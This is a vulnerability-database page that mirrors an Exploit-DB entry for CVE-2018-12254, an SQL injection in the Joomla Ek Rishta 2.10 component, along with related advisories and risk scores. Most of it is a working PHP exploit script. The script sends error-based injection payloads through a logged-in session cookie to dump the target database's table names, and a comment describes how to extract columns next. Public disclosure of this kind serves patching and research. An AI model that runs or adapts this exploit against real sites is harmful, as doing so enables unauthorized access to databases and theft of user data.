Lucene search
+L

Joomla! Component Ek Rishta 2.10 - SQL Injection

🗓️ 14 Jun 2018 00:00:00Reported by Guilherme AssmannType 
exploitdb
 exploitdb
🔗 www.exploit-db.com👁 64 Views

SQL Injection in Joomla Component Ek Rishta 2.1

Related
Code
ReporterTitlePublishedViews
Family
zdt
zdt
Joomla Ek rishta 2.10 Component - SQL Injection Vulnerability
15 Jun 201800:00
zdt
cnvd
CNVD
Harmis Ek rishta SQL Injection Vulnerability in Joomla!
14 Jun 201800:00
cnvd
checkpoint_advisories
Check Point Advisories
Joomla Ek Rishta Component SQL Injection (CVE-2018-12254)
25 Jun 201800:00
checkpoint_advisories
cve
CVE
CVE-2018-12254
12 Jun 201817:00
cve
cvelist
Cvelist
CVE-2018-12254
12 Jun 201817:00
cvelist
euvd
EUVD
EUVD-2018-4232
7 Oct 202500:30
euvd
exploitpack
exploitpack
Joomla Component Ek Rishta 2.10 - SQL Injection
14 Jun 201800:00
exploitpack
nvd
NVD
CVE-2018-12254
12 Jun 201817:29
nvd
osv
OSV
CVE-2018-12254
12 Jun 201817:29
osv
packetstorm
Packet Storm
Joomla Ek Rishta 2.10 SQL Injection
14 Jun 201800:00
packetstorm
Rows per page
# Title: SQL Injection Joomla Component Ek rishta 2.10 - SQL Injection
# Date: 2018-06-14
# Exploit Author: Guilherme Assmann
# Vendor Homepage:https://www.joomla.org/
# Version: 2.10
# Tested on: MacOSX, Safari, Chrome
# Download: https://extensions.joomla.org/extension/ek-rishta/
# CVE: CVE-2018-12254

# Vulnerability Description
# To exploit this vulnerability, the user must be logged on to the platform!
# the vulnerability allows SQL Injection via the
# PATH_INFO to a home/requested_user/Sent%20interest/[username] URI.
# more information(en):
# https://fireshellsecurity.team/cve-2018-12254-sql-injection-joomla-component/
# more information(pt-br): https://m4k4br0.github.io/sql-injection-joomla-component/
# more information: https://desecsecurity.com/
# exploit code to dump tables:

<?php

// CVE-2018-12254

// after dump the tables, use %60%23table_name%60 to dump columns...

$host = $argv[1];
$cookie = $argv[2];

// Usage: php exploit.php [http://[HOST]/](http://[host]/) “Cookie: foo=bar”
function exploit($host,$ck){
$urls = sqli();
$ch = curl_init();
foreach($urls as $url){
curl_setopt($ch,CURLOPT_URL,$host.$url);
curl_setopt($ch,CURLOPT_RETURNTRANSFER,true);
curl_setopt($ch,CURLOPT_USERAGENT,":)");
curl_setopt($ch,CURLOPT_HTTPHEADER, [$ck]);
curl_setopt($ch,CURLOPT_CONNECTTIMEOUT,100);
curl_setopt($ch,CURLOPT_TIMEOUT,100);
$response = curl_exec($ch);
$s =  strpos($response,"#__");
echo substr($response,$s,30)."\n";
}
}
function sqli(){
$uri = "/index.php/home/requested_user/Sent%20interest/1'or%20";
for($i=0;$i<100;$i++){
$value = $i+1;
$data[$i] = $uri.str_replace("+","%20",urlencode('extractvalue(0xa,concat(0xa,(select table_name from information_schema.tables where table_schema=database() limit '.$value.',1))) #'));
}
return $data;
}
exploit($host,$cookie);
?>

Data

Build on a solid foundation with Vulners data

We provide the essential building blocks for cybersecurity solutions with comprehensive, structured, and constantly updated vulnerability and exploits data

Api

Power your application with Vulners API

The Vulners REST API offers reliable, high-performance access to vulnerability intelligence, with 99.9% SLA uptime and CDN-backed data delivery for seamless global access

App

Assess and manage vulnerabilities with Vulners tools

Built on top of Vulners' database and SDK, end-user solutions give security professionals and developers lightweight and powerful tools for vulnerability remediation

19 Jun 2018 00:00Current
7.9High risk
Vulners AI Score7.9
CVSS 26.5
CVSS 38.8
EPSS0.02616
64